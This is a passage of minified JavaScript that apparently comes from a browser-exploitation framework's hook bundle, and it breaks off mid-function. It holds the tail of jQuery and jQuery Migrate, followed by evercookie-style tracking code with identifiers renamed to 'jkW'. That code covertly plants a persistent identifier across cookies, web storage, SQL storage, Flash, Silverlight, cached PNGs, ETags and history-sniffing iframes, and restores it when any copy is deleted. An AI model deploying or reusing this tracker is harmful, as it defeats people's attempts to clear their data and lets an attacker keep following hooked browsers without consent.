h.headers)S.setRequestHeader(r,h.headers[r]);if(h.beforeSend&&(!1===h.beforeSend.call(p,S,h)||2===b))return S.abort();C="abort";for(r in{success:1,error:1,complete:1})S[r](h[r]);if(d=j(Ut,h,n,S)){S.readyState=1,u&&f.trigger("ajaxSend",[S,h]),h.async&&h.timeout>0&&(c=setTimeout(function(){S.abort("timeout")},h.timeout));try{b=1,d.send(y,i)}catch(e){if(!(2>b))throw e;i(-1,e)}}else i(-1,"No Transport");return S},getJSON:function(e,t,n){return de.get(e,t,n,"json")},getScript:function(e,n){return de.get(e,t,n,"script")}}),de.each(["get","post"],function(e,n){de[n]=function(e,i,o,r){return de.isFunction(i)&&(r=r||o,o=i,i=t),de.ajax({url:e,type:n,dataType:r,data:i,success:o})}}),de.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/(?:java|ecma)script/},converters:{"text script":function(e){return de.globalEval(e),e}}}),de.ajaxPrefilter("script",function(e){e.cache===t&&(e.cache=!1),e.crossDomain&&(e.type="GET",e.global=!1)}),de.ajaxTransport("script",function(e){if(e.crossDomain){var n,i=Q.head||de("head")[0]||Q.documentElement;return{send:function(t,o){n=Q.createElement("script"),n.async=!0,e.scriptCharset&&(n.charset=e.scriptCharset),n.src=e.url,n.onload=n.onreadystatechange=function(e,t){(t||!n.readyState||/loaded|complete/.test(n.readyState))&&(n.onload=n.onreadystatechange=null,n.parentNode&&n.parentNode.removeChild(n),n=null,t||o(200,"success"))},i.insertBefore(n,i.firstChild)},abort:function(){n&&n.onload(t,!0)}}}});var $t=[],zt=/(=)\?(?=&|$)|\?\?/;de.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=$t.pop()||de.expando+"_"+jt++;return this[e]=!0,e}}),de.ajaxPrefilter("json jsonp",function(n,i,o){var r,a,s,c=!1!==n.jsonp&&(zt.test(n.url)?"url":"string"==typeof n.data&&!(n.contentType||"").indexOf("application/x-www-form-urlencoded")&&zt.test(n.data)&&"data");return c||"jsonp"===n.dataTypes[0]?(r=n.jsonpCallback=de.isFunction(n.jsonpCallback)?n.jsonpCallback():n.jsonpCallback,c?n[c]=n[c].replace(zt,"$1"+r):!1!==n.jsonp&&(n.url+=(Dt.test(n.url)?"&":"?")+n.jsonp+"="+r),n.converters["script json"]=function(){return s||de.error(r+" was not called"),s[0]},n.dataTypes[0]="json",a=e[r],e[r]=function(){s=arguments},o.always(function(){e[r]=a,n[r]&&(n.jsonpCallback=i.jsonpCallback,$t.push(r)),s&&de.isFunction(a)&&a(s[0]),s=a=t}),"script"):t});var Xt,Gt,Yt=0,Qt=e.ActiveXObject&&function(){var e;for(e in Xt)Xt[e](t,!0)};de.ajaxSettings.xhr=e.ActiveXObject?function(){return!this.isLocal&&M()||R()}:M,Gt=de.ajaxSettings.xhr(),de.support.cors=!!Gt&&"withCredentials"in Gt,(Gt=de.support.ajax=!!Gt)&&de.ajaxTransport(function(n){if(!n.crossDomain||de.support.cors){var i;return{send:function(o,r){var a,s,c=n.xhr();if(n.username?c.open(n.type,n.url,n.async,n.username,n.password):c.open(n.type,n.url,n.async),n.xhrFields)for(s in n.xhrFields)c[s]=n.xhrFields[s];n.mimeType&&c.overrideMimeType&&c.overrideMimeType(n.mimeType),n.crossDomain||o["X-Requested-With"]||(o["X-Requested-With"]="XMLHttpRequest");try{for(s in o)c.setRequestHeader(s,o[s])}catch(e){}c.send(n.hasContent&&n.data||null),i=function(e,o){var s,u,d,l;try{if(i&&(o||4===c.readyState))if(i=t,a&&(c.onreadystatechange=de.noop,Qt&&delete Xt[a]),o)4!==c.readyState&&c.abort();else{l={},s=c.status,u=c.getAllResponseHeaders(),"string"==typeof c.responseText&&(l.text=c.responseText);try{d=c.statusText}catch(e){d=""}s||!n.isLocal||n.crossDomain?1223===s&&(s=204):s=l.text?200:404}}catch(e){o||r(-1,e)}l&&r(s,d,l,u)},n.async?4===c.readyState?setTimeout(i):(a=++Yt,Qt&&(Xt||(Xt={},de(e).unload(Qt)),Xt[a]=i),c.onreadystatechange=i):i()},abort:function(){i&&i(t,!0)}}}});var Jt,Kt,Zt=/^(?:toggle|show|hide)$/,en=RegExp("^(?:([+-])=|)("+le+")([a-z%]*)$","i"),tn=/queueHooks$/,nn=[B],on={"*":[function(e,t){var n=this.createTween(e,t),i=n.cur(),o=en.exec(t),r=o&&o[3]||(de.cssNumber[e]?"":"px"),a=(de.cssNumber[e]||"px"!==r&&+i)&&en.exec(de.css(n.elem,e)),s=1,c=20;if(a&&a[3]!==r){r=r||a[3],o=o||[],a=+i||1;do{s=s||".5",a/=s,de.style(n.elem,e,a+r)}while(s!==(s=n.cur()/i)&&1!==s&&--c)}return o&&(a=n.start=+a||+i||0,n.unit=r,n.end=o[1]?a+(o[1]+1)*o[2]:+o[2]),n}]};de.Animation=de.extend(L,{tweener:function(e,t){de.isFunction(e)?(t=e,e=["*"]):e=e.split(" ");for(var n,i=0,o=e.length;o>i;i++)n=e[i],on[n]=on[n]||[],on[n].unshift(t)},prefilter:function(e,t){t?nn.unshift(e):nn.push(e)}}),de.Tween=U,U.prototype={constructor:U,init:function(e,t,n,i,o,r){this.elem=e,this.prop=n,this.easing=o||"swing",this.options=t,this.start=this.now=this.cur(),this.end=i,this.unit=r||(de.cssNumber[n]?"":"px")},cur:function(){var e=U.propHooks[this.prop];return e&&e.get?e.get(this):U.propHooks._default.get(this)},run:function(e){var t,n=U.propHooks[this.prop];return this.pos=t=this.options.duration?de.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):U.propHooks._default.set(this),this}},U.prototype.init.prototype=U.prototype,U.propHooks={_default:{get:function(e){var t;return null==e.elem[e.prop]||e.elem.style&&null!=e.elem.style[e.prop]?(t=de.css(e.elem,e.prop,""),t&&"auto"!==t?t:0):e.elem[e.prop]},set:function(e){de.fx.step[e.prop]?de.fx.step[e.prop](e):e.elem.style&&(null!=e.elem.style[de.cssProps[e.prop]]||de.cssHooks[e.prop])?de.style(e.elem,e.prop,e.now+e.unit):e.elem[e.prop]=e.now}}},U.propHooks.scrollTop=U.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},de.each(["toggle","show","hide"],function(e,t){var n=de.fn[t];de.fn[t]=function(e,i,o){return null==e||"boolean"==typeof e?n.apply(this,arguments):this.animate(q(t,!0),e,i,o)}}),de.fn.extend({fadeTo:function(e,t,n,i){return this.filter(x).css("opacity",0).show().end().animate({opacity:t},e,n,i)},animate:function(e,t,n,i){var o=de.isEmptyObject(e),r=de.speed(t,n,i),a=function(){var t=L(this,de.extend({},e),r);(o||de._data(this,"finish"))&&t.stop(!0)};return a.finish=a,o||!1===r.queue?this.each(a):this.queue(r.queue,a)},stop:function(e,n,i){var o=function(e){var t=e.stop;delete e.stop,t(i)};return"string"!=typeof e&&(i=n,n=e,e=t),n&&!1!==e&&this.queue(e||"fx",[]),this.each(function(){var t=!0,n=null!=e&&e+"queueHooks",r=de.timers,a=de._data(this);if(n)a[n]&&a[n].stop&&o(a[n]);else for(n in a)a[n]&&a[n].stop&&tn.test(n)&&o(a[n]);for(n=r.length;n--;)r[n].elem!==this||null!=e&&r[n].queue!==e||(r[n].anim.stop(i),t=!1,r.splice(n,1));(t||!i)&&de.dequeue(this,e)})},finish:function(e){return!1!==e&&(e=e||"fx"),this.each(function(){var t,n=de._data(this),i=n[e+"queue"],o=n[e+"queueHooks"],r=de.timers,a=i?i.length:0;for(n.finish=!0,de.queue(this,e,[]),o&&o.stop&&o.stop.call(this,!0),t=r.length;t--;)r[t].elem===this&&r[t].queue===e&&(r[t].anim.stop(!0),r.splice(t,1));for(t=0;a>t;t++)i[t]&&i[t].finish&&i[t].finish.call(this);delete n.finish})}}),de.each({slideDown:q("show"),slideUp:q("hide"),slideToggle:q("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,t){de.fn[e]=function(e,n,i){return this.animate(t,e,n,i)}}),de.speed=function(e,t,n){var i=e&&"object"==typeof e?de.extend({},e):{complete:n||!n&&t||de.isFunction(e)&&e,duration:e,easing:n&&t||t&&!de.isFunction(t)&&t};return i.duration=de.fx.off?0:"number"==typeof i.duration?i.duration:i.duration in de.fx.speeds?de.fx.speeds[i.duration]:de.fx.speeds._default,(null==i.queue||!0===i.queue)&&(i.queue="fx"),i.old=i.complete,i.complete=function(){de.isFunction(i.old)&&i.old.call(this),i.queue&&de.dequeue(this,i.queue)},i},de.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2}},de.timers=[],de.fx=U.prototype.init,de.fx.tick=function(){var e,n=de.timers,i=0;for(Jt=de.now();n.length>i;i++)(e=n[i])()||n[i]!==e||n.splice(i--,1);n.length||de.fx.stop(),Jt=t},de.fx.timer=function(e){e()&&de.timers.push(e)&&de.fx.start()},de.fx.interval=13,de.fx.start=function(){Kt||(Kt=setInterval(de.fx.tick,de.fx.interval))},de.fx.stop=function(){clearInterval(Kt),Kt=null},de.fx.speeds={slow:600,fast:200,_default:400},de.fx.step={},de.expr&&de.expr.filters&&(de.expr.filters.animated=function(e){return de.grep(de.timers,function(t){return e===t.elem}).length}),de.fn.offset=function(e){if(arguments.length)return e===t?this:this.each(function(t){de.offset.setOffset(this,e,t)});var n,i,o={top:0,left:0},r=this[0],a=r&&r.ownerDocument;return a?(n=a.documentElement,de.contains(n,r)?(typeof r.getBoundingClientRect!==G&&(o=r.getBoundingClientRect()),i=$(a),{top:o.top+(i.pageYOffset||n.scrollTop)-(n.clientTop||0),left:o.left+(i.pageXOffset||n.scrollLeft)-(n.clientLeft||0)}):o):void 0},de.offset={setOffset:function(e,t,n){var i=de.css(e,"position");"static"===i&&(e.style.position="relative");var o,r,a=de(e),s=a.offset(),c=de.css(e,"top"),u=de.css(e,"left"),d=("absolute"===i||"fixed"===i)&&de.inArray("auto",[c,u])>-1,l={},h={};d?(h=a.position(),o=h.top,r=h.left):(o=parseFloat(c)||0,r=parseFloat(u)||0),de.isFunction(t)&&(t=t.call(e,n,s)),null!=t.top&&(l.top=t.top-s.top+o),null!=t.left&&(l.left=t.left-s.left+r),"using"in t?t.using.call(e,l):a.css(l)}},de.fn.extend({position:function(){if(this[0]){var e,t,n={top:0,left:0},i=this[0];return"fixed"===de.css(i,"position")?t=i.getBoundingClientRect():(e=this.offsetParent(),t=this.offset(),de.nodeName(e[0],"html")||(n=e.offset()),n.top+=de.css(e[0],"borderTopWidth",!0),n.left+=de.css(e[0],"borderLeftWidth",!0)),{top:t.top-n.top-de.css(i,"marginTop",!0),left:t.left-n.left-de.css(i,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){for(var e=this.offsetParent||J;e&&!de.nodeName(e,"html")&&"static"===de.css(e,"position");)e=e.offsetParent;return e||J})}}),de.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,n){var i=/Y/.test(n);de.fn[e]=function(o){return de.access(this,function(e,o,r){var a=$(e);return r===t?a?n in a?a[n]:a.document.documentElement[o]:e[o]:(a?a.scrollTo(i?de(a).scrollLeft():r,i?r:de(a).scrollTop()):e[o]=r,t)},e,o,arguments.length,null)}}),de.each({Height:"height",Width:"width"},function(e,n){de.each({padding:"inner"+e,content:n,"":"outer"+e},function(i,o){de.fn[o]=function(o,r){var a=arguments.length&&(i||"boolean"!=typeof o),s=i||(!0===o||!0===r?"margin":"border");return de.access(this,function(n,i,o){var r;return de.isWindow(n)?n.document.documentElement["client"+e]:9===n.nodeType?(r=n.documentElement,Math.max(n.body["scroll"+e],r["scroll"+e],n.body["offset"+e],r["offset"+e],r["client"+e])):o===t?de.css(n,i,s):de.style(n,i,o,s)},n,a?o:t,a,null)}})}),de.fn.size=function(){return this.length},de.fn.andSelf=de.fn.addBack,"object"==typeof module&&module&&"object"==typeof module.exports?module.exports=de:(e.jQuery=e.$=de,"function"==typeof define&&define.amd&&define("jquery",[],function(){return de}))}(window),/*! jQuery Migrate v1.2.1 | (c) 2005, 2013 jQuery Foundation, Inc. and other contributors | jquery.org/license */
1046void 0===jQuery.migrateMute&&(jQuery.migrateMute=!0),function(e,t,n){function i(n){var i=t.console;r[n]||(r[n]=!0,e.migrateWarnings.push(n),i&&i.warn&&!e.migrateMute&&(i.warn("JQMIGRATE: "+n),e.migrateTrace&&i.trace&&i.trace()))}function o(t,o,r,a){if(Object.defineProperty)try{return Object.defineProperty(t,o,{configurable:!0,enumerable:!0,get:function(){return i(a),r},set:function(e){i(a),r=e}}),n}catch(e){}e._definePropertyBroken=!0,t[o]=r}var r={};e.migrateWarnings=[],!e.migrateMute&&t.console&&t.console.log&&t.console.log("JQMIGRATE: Logging is active"),e.migrateTrace===n&&(e.migrateTrace=!0),e.migrateReset=function(){r={},e.migrateWarnings.length=0},"BackCompat"===document.compatMode&&i("jQuery is not compatible with Quirks Mode");var a=e("<input/>",{size:1}).attr("size")&&e.attrFn,s=e.attr,c=e.attrHooks.value&&e.attrHooks.value.get||function(){return null},u=e.attrHooks.value&&e.attrHooks.value.set||function(){return n},d=/^(?:input|button)$/i,l=/^[238]$/,h=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,p=/^(?:checked|selected)$/i;o(e,"attrFn",a||{},"jQuery.attrFn is deprecated"),e.attr=function(t,o,r,c){var u=o.toLowerCase(),f=t&&t.nodeType;return c&&(4>s.length&&i("jQuery.fn.attr( props, pass ) is deprecated"),t&&!l.test(f)&&(a?o in a:e.isFunction(e.fn[o])))?e(t)[o](r):("type"===o&&r!==n&&d.test(t.nodeName)&&t.parentNode&&i("Can't change the 'type' of an input or button in IE 6/7/8"),!e.attrHooks[u]&&h.test(u)&&(e.attrHooks[u]={get:function(t,i){var o,r=e.prop(t,i);return!0===r||"boolean"!=typeof r&&(o=t.getAttributeNode(i))&&!1!==o.nodeValue?i.toLowerCase():n},set:function(t,n,i){var o;return!1===n?e.removeAttr(t,i):(o=e.propFix[i]||i,o in t&&(t[o]=!0),t.setAttribute(i,i.toLowerCase())),i}},p.test(u)&&i("jQuery.fn.attr('"+u+"') may use property instead of attribute")),s.call(e,t,o,r))},e.attrHooks.value={get:function(e,t){var n=(e.nodeName||"").toLowerCase();return"button"===n?c.apply(this,arguments):("input"!==n&&"option"!==n&&i("jQuery.fn.attr('value') no longer gets properties"),t in e?e.value:null)},set:function(e,t){var o=(e.nodeName||"").toLowerCase();return"button"===o?u.apply(this,arguments):("input"!==o&&"option"!==o&&i("jQuery.fn.attr('value', val) no longer sets properties"),e.value=t,n)}};var f,m,g=e.fn.init,w=e.parseJSON,y=/^([^<]*)(<[\w\W]+>)([^>]*)$/;e.fn.init=function(t,n,o){var r;return t&&"string"==typeof t&&!e.isPlainObject(n)&&(r=y.exec(e.trim(t)))&&r[0]&&("<"!==t.charAt(0)&&i("$(html) HTML strings must start with '<' character"),r[3]&&i("$(html) HTML text after last tag is ignored"),"#"===r[0].charAt(0)&&(i("HTML string cannot start with a '#' character"),e.error("JQMIGRATE: Invalid selector string (XSS)")),n&&n.context&&(n=n.context),e.parseHTML)?g.call(this,e.parseHTML(r[2],n,!0),n,o):g.apply(this,arguments)},e.fn.init.prototype=e.fn,e.parseJSON=function(e){return e||null===e?w.apply(this,arguments):(i("jQuery.parseJSON requires a valid JSON string"),null)},e.uaMatch=function(e){e=e.toLowerCase();var t=/(chrome)[ \/]([\w.]+)/.exec(e)||/(webkit)[ \/]([\w.]+)/.exec(e)||/(opera)(?:.*version|)[ \/]([\w.]+)/.exec(e)||/(msie) ([\w.]+)/.exec(e)||0>e.indexOf("compatible")&&/(mozilla)(?:.*? rv:([\w.]+)|)/.exec(e)||[];return{browser:t[1]||"",version:t[2]||"0"}},e.browser||(f=e.uaMatch(navigator.userAgent),m={},f.browser&&(m[f.browser]=!0,m.version=f.version),m.chrome?m.webkit=!0:m.webkit&&(m.safari=!0),e.browser=m),o(e,"browser",e.browser,"jQuery.browser is deprecated"),e.sub=function(){function t(e,n){return new t.fn.init(e,n)}e.extend(!0,t,this),t.superclass=this,t.fn=t.prototype=this(),t.fn.constructor=t,t.sub=this.sub,t.fn.init=function(i,o){return o&&o instanceof e&&!(o instanceof t)&&(o=t(o)),e.fn.init.call(this,i,o,n)},t.fn.init.prototype=t.fn;var n=t(document);return i("jQuery.sub() is deprecated"),t},e.ajaxSetup({converters:{"text json":e.parseJSON}});var v=e.fn.data;e.fn.data=function(t){var o,r,a=this[0];return!a||"events"!==t||1!==arguments.length||(o=e.data(a,t),r=e._data(a,t),o!==n&&o!==r||r===n)?v.apply(this,arguments):(i("Use of jQuery.fn.data('events') is deprecated"),r)};var b=/\/(java|ecma)script/i,C=e.fn.andSelf||e.fn.addBack;e.fn.andSelf=function(){return i("jQuery.fn.andSelf() replaced by jQuery.fn.addBack()"),C.apply(this,arguments)},e.clean||(e.clean=function(t,o,r,a){o=o||document,o=!o.nodeType&&o[0]||o,o=o.ownerDocument||o,i("jQuery.clean() is deprecated");var s,c,u,d,l=[];if(e.merge(l,e.buildFragment(t,o).childNodes),r)for(u=function(e){return!e.type||b.test(e.type)?a?a.push(e.parentNode?e.parentNode.removeChild(e):e):r.appendChild(e):n},s=0;null!=(c=l[s]);s++)e.nodeName(c,"script")&&u(c)||(r.appendChild(c),c.getElementsByTagName!==n&&(d=e.grep(e.merge([],c.getElementsByTagName("script")),u),l.splice.apply(l,[s+1,0].concat(d)),s+=d.length));return l});var S=e.event.add,x=e.event.remove,E=e.event.trigger,k=e.fn.toggle,F=e.fn.live,T=e.fn.die,O="ajaxStart|ajaxStop|ajaxSend|ajaxComplete|ajaxError|ajaxSuccess",_=RegExp("\\b(?:"+O+")\\b"),A=/(?:^|\s)hover(\.\S+|)\b/,N=function(t){return"string"!=typeof t||e.event.special.hover?t:(A.test(t)&&i("'hover' pseudo-event is deprecated, use 'mouseenter mouseleave'"),t&&t.replace(A,"mouseenter$1 mouseleave$1"))};e.event.props&&"attrChange"!==e.event.props[0]&&e.event.props.unshift("attrChange","attrName","relatedNode","srcElement"),e.event.dispatch&&o(e.event,"handle",e.event.dispatch,"jQuery.event.handle is undocumented and deprecated"),e.event.add=function(e,t,n,o,r){e!==document&&_.test(t)&&i("AJAX events should be attached to document: "+t),S.call(this,e,N(t||""),n,o,r)},e.event.remove=function(e,t,n,i,o){x.call(this,e,N(t)||"",n,i,o)},e.fn.error=function(){var e=Array.prototype.slice.call(arguments,0);return i("jQuery.fn.error() is deprecated"),e.splice(0,0,"error"),arguments.length?this.bind.apply(this,e):(this.triggerHandler.apply(this,e),this)},e.fn.toggle=function(t,n){if(!e.isFunction(t)||!e.isFunction(n))return k.apply(this,arguments);i("jQuery.fn.toggle(handler, handler...) is deprecated");var o=arguments,r=t.guid||e.guid++,a=0,s=function(n){var i=(e._data(this,"lastToggle"+t.guid)||0)%a;return e._data(this,"lastToggle"+t.guid,i+1),n.preventDefault(),o[i].apply(this,arguments)||!1};for(s.guid=r;o.length>a;)o[a++].guid=r;return this.click(s)},e.fn.live=function(t,n,o){return i("jQuery.fn.live() is deprecated"),F?F.apply(this,arguments):(e(this.context).on(t,this.selector,n,o),this)},e.fn.die=function(t,n){return i("jQuery.fn.die() is deprecated"),T?T.apply(this,arguments):(e(this.context).off(t,this.selector||"**",n),this)},e.event.trigger=function(e,t,n,o){return n||_.test(e)||i("Global events are undocumented and deprecated"),E.call(this,e,t,n||document,o)},e.each(O.split("|"),function(t,n){e.event.special[n]={setup:function(){var t=this;return t!==document&&(e.event.add(document,n+"."+e.guid,function(){e.event.trigger(n,null,t,!0)}),e._data(this,n,e.guid++)),!1},teardown:function(){return this!==document&&e.event.remove(document,n+"."+e._data(this,n)),!1}}})}(jQuery,window);
1047// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
1048var _ec_history=1,_ec_tests=10,_ec_debug=0,_global_lso,jkW=function(){return this._class=function(){var self=this;_baseKeyStr="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",this._ec={};var no_color=-1;this.get=function(e,t,n){$(document).ready(function(){self._jkW(e,t,undefined,undefined,n)})},this.set=function(e,t){$(document).ready(function(){self._jkW(e,function(){},t)})},this._jkW=function(e,t,n,i,o){if("undefined"==typeof self._jkW&&(self=this),void 0===i&&(i=0),0==i&&(self.jkW_database_storage(e,n),self.jkW_png(e,n),self.jkW_etag(e,n),self.jkW_cache(e,n),self.jkW_lso(e,n),self.jkW_silverlight(e,n),self._ec.userData=self.jkW_userdata(e,n),self._ec.cookieData=self.jkW_cookie(e,n),self._ec.localData=self.jkW_local_storage(e,n),self._ec.globalData=self.jkW_global_storage(e,n),self._ec.sessionData=self.jkW_session_storage(e,n),self._ec.windowData=self.jkW_window(e,n),_ec_history&&(self._ec.historyData=self.jkW_history(e,n))),void 0!==n)(void 0===_global_lso||void 0===_global_isolated)&&i++<_ec_tests&&setTimeout(function(){self._jkW(e,t,n,i,o)},300);else if((window.openDatabase&&"undefined"==typeof self._ec.dbData||void 0===_global_lso||"undefined"==typeof self._ec.etagData||"undefined"==typeof self._ec.cacheData||document.createElement("canvas").getContext&&("undefined"==typeof self._ec.pngData||""==self._ec.pngData)||void 0===_global_isolated)&&i++<_ec_tests)setTimeout(function(){self._jkW(e,t,n,i,o)},300);else{self._ec.lsoData=self.getFromStr(e,_global_lso),_global_lso=undefined,self._ec.slData=self.getFromStr(e,_global_isolated),_global_isolated=undefined;var r=self._ec;self._ec={};var a,s=new Array,c=0;for(var u in r)"undefined"!=typeof r[u]&&"null"!=typeof r[u]&&""!=r[u]&&"null"!=r[u]&&"undefined"!=r[u]&&null!=r[u]&&(s[r[u]]="undefined"==typeof s[r[u]]?1:s[r[u]]+1);for(var u in s)s[u]>c&&(c=s[u],a=u);void 0!==o&&1==o||self.set(e,a),"function"==typeof t&&t(a,r)}},this.jkW_window=function(e,t){try{if(void 0===t)return this.getFromStr(e,window.name);window.name=_ec_replace(window.name,e,t)}catch(e){}},this.jkW_userdata=function(e,t){try{var n=this.createElem("div","userdata_el",1);if(n.style.behavior="url(#default#userData)",void 0===t)return n.load(e),n.getAttribute(e);n.setAttribute(e,t),n.save(e)}catch(e){}},this.jkW_cache=function(e,t){if(void 0!==t){document.cookie="jkW_cache="+t;var n=new Image;n.style.visibility="hidden",n.style.position="absolute",n.src="jkW_cache.php?name="+e}else{var i=this.getFromStr("jkW_cache",document.cookie);self._ec.cacheData=undefined,document.cookie="jkW_cache=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/",$.ajax({url:"jkW_cache.php?name="+e,success:function(e){document.cookie="jkW_cache="+i+"; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/",self._ec.cacheData=e}})}},this.jkW_etag=function(e,t){if(void 0!==t){document.cookie="jkW_etag="+t;var n=new Image;n.style.visibility="hidden",n.style.position="absolute",n.src="jkW_etag.php?name="+e}else{var i=this.getFromStr("jkW_etag",document.cookie);self._ec.etagData=undefined,document.cookie="jkW_etag=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/",$.ajax({url:"jkW_etag.php?name="+e,success:function(e){document.cookie="jkW_etag="+i+"; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/",self._ec.etagData=e}})}},this.jkW_lso=function(e,t){var n=document.getElementById("swfcontainer");n||(n=document.createElement("div"),n.setAttribute("id","swfcontainer"),document.body.appendChild(n));var i={};void 0!==t&&(i.everdata=e+"="+t);var o={};o.swliveconnect="true";var r={};r.id="myswf",r.name="myswf",swfobject.embedSWF("jkW.swf","swfcontainer","1","1","9.0.0",!1,i,o,r)},this.jkW_png=function(e,t){if(document.createElement("canvas").getContext)if(void 0!==t){document.cookie="jkW_png="+t;var n=new Image;n.style.visibility="hidden",n.style.position="absolute",n.src="jkW_png.php?name="+e}else{self._ec.pngData=undefined;var i=document.createElement("canvas");i.style.visibility="hidden",i.style.position="absolute",i.width=200,i.height=1;var o=i.getContext("2d"),r=this.getFromStr("jkW_png",document.cookie);document.cookie="jkW_png=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/";var n=new Image;n.style.visibility="hidden",n.style.position="absolute",n.src="jkW_png.php?name="+e,n.onload=function(){document.cookie="jkW_png="+r+"; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/",self._ec.pngData="",o.drawImage(n,0,0);for(var e=o.getImageData(0,0,200,1),t=e.data,i=0,a=t.length;i<a&&0!=t[i]&&(self._ec.pngData+=String.fromCharCode(t[i]),0!=t[i+1])&&(self._ec.pngData+=String.fromCharCode(t[i+1]),0!=t[i+2]);i+=4)self._ec.pngData+=String.fromCharCode(t[i+2])}}},this.jkW_local_storage=function(e,t){try{if(window.localStorage){if(void 0===t)return localStorage.getItem(e);localStorage.setItem(e,t)}}catch(e){}},this.jkW_database_storage=function(e,t){try{if(window.openDatabase){var n=window.openDatabase("sqlite_jkW","","jkW",1048576);void 0!==t?n.transaction(function(n){n.executeSql("CREATE TABLE IF NOT EXISTS cache(id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, value TEXT NOT NULL, UNIQUE (name))",[],function(){},function(){}),n.executeSql("INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)",[e,t],function(){},function(){})}):n.transaction(function(t){t.executeSql("SELECT value FROM cache WHERE name=?",[e],function(e,t){t.rows.length>=1?self._ec.dbData=t.rows.item(0).value:self._ec.dbData=""},function(){})})}}catch(e){}},this.jkW_session_storage=function(e,t){try{if(window.sessionStorage){if(void 0===t)return sessionStorage.getItem(e);sessionStorage.setItem(e,t)}}catch(e){}},this.jkW_global_storage=function(name,value){if(window.globalStorage){var host=this.getHost();try{if(void 0===value)return eval("globalStorage[host]."+name);eval("globalStorage[host]."+name+" = value")}catch(e){}}},this.jkW_silverlight=function(e,t){var n="jkW.xap",i="4.0.50401.0",o="";void 0!==t&&(o='<param name="initParams" value="'+e+"="+t+'" />');var r='<object data="data:application/x-silverlight-2," type="application/x-silverlight-2" id="mysilverlight" width="0" height="0">'+o+'<param name="source" value="'+n+'"/><param name="onLoad" value="onSilverlightLoad"/><param name="onError" value="onSilverlightError"/><param name="background" value="Transparent"/><param name="windowless" value="true"/><param name="minRuntimeVersion" value="'+i+'"/><param name="autoUpgrade" value="true"/><a href="http://go.microsoft.com/fwlink/?LinkID=149156&v='+i+'" style="text-decoration:none"><img src="http://go.microsoft.com/fwlink/?LinkId=108181" alt="Get Microsoft Silverlight" style="border-style:none"/></a></object>';document.body.innerHTML+=r},this.encode=function(e){var t,n,i,o,r,a,s,c="",u=0;for(e=this._utf8_encode(e);u<e.length;)t=e.charCodeAt(u++),n=e.charCodeAt(u++),i=e.charCodeAt(u++),o=t>>2,r=(3&t)<<4|n>>4,a=(15&n)<<2|i>>6,s=63&i,isNaN(n)?a=s=64:isNaN(i)&&(s=64),c=c+_baseKeyStr.charAt(o)+_baseKeyStr.charAt(r)+_baseKeyStr.charAt(a)+_baseKeyStr.charAt(s);return c},this.decode=function(e){var t,n,i,o,r,a,s,c="",u=0;for(e=e.replace(/[^A-Za-z0-9\+\/\=]/g,"");u<e.length;)o=_baseKeyStr.indexOf(e.charAt(u++)),r=_baseKeyStr.indexOf(e.charAt(u++)),a=_baseKeyStr.indexOf(e.charAt(u++)),s=_baseKeyStr.indexOf(e.charAt(u++)),t=o<<2|r>>4,n=(15&r)<<4|a>>2,i=(3&a)<<6|s,c+=String.fromCharCode(t),64!=a&&(c+=String.fromCharCode(n)),64!=s&&(c+=String.fromCharCode(i));return c=this._utf8_decode(c)},this._utf8_encode=function(e){e=e.replace(/\r\n/g,"\n");for(var t="",n=0;n<e.length;n++){var i=e.charCodeAt(n);i<128?t+=String.fromCharCode(i):i>127&&i<2048?(t+=String.fromCharCode(i>>6|192),t+=String.fromCharCode(63&i|128)):(t+=String.fromCharCode(i>>12|224),t+=String.fromCharCode(i>>6&63|128),t+=String.fromCharCode(63&i|128))}return t},this._utf8_decode=function(e){for(var t="",n=0,i=c1=c2=0;n<e.length;)i=e.charCodeAt(n),i<128?(t+=String.fromCharCode(i),n++):i>191&&i<224?(c2=e.charCodeAt(n+1),t+=String.fromCharCode((31&i)<<6|63&c2),n+=2):(c2=e.charCodeAt(n+1),c3=e.charCodeAt(n+2),t+=String.fromCharCode((15&i)<<12|(63&c2)<<6|63&c3),n+=3);return t},this.jkW_history=function(e,t){var n="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-",i=n.split(""),o="http://www.google.com/jkW/cache/"+this.getHost()+"/"+e;if(void 0!==t){if(this.hasVisited(o))return;this.createIframe(o,"if"),o+="/";for(var r=this.encode(t).split(""),a=0;a<r.length;a++)o+=r[a],this.createIframe(o,"if"+a);o+="-",this.createIframe(o,"if_")}else if(this.hasVisited(o)){o+="/";for(var s="",c="",u=1;"-"!=s&&1==u;){u=0;for(var a=0;a<i.length;a++)if(this.hasVisited(o+i[a])){s=i[a],"-"!=s&&(c+=s),o+=s,u=1;break}}return this.decode(c)}},this.createElem=function(e,t,n){var i;return i=void 0!==t&&document.getElementById(t)?document.getElementById(t):document.createElement(e),i.style.visibility="hidden",i.style.position="absolute",t&&i.setAttribute("id",t),n&&document.body.appendChild(i),i},this.createIframe=function(e,t){var n=this.createElem("iframe",t,1);return n.setAttribute("src",e),n},this.waitForSwf=function(e){void 0===e?e=0:e++,e<_ec_tests&&"undefined"==typeof swfobject&&setTimeout(function(){waitForSwf(e)},300)},this.jkW_cookie=function(e,t){try{if(void 0===t)return 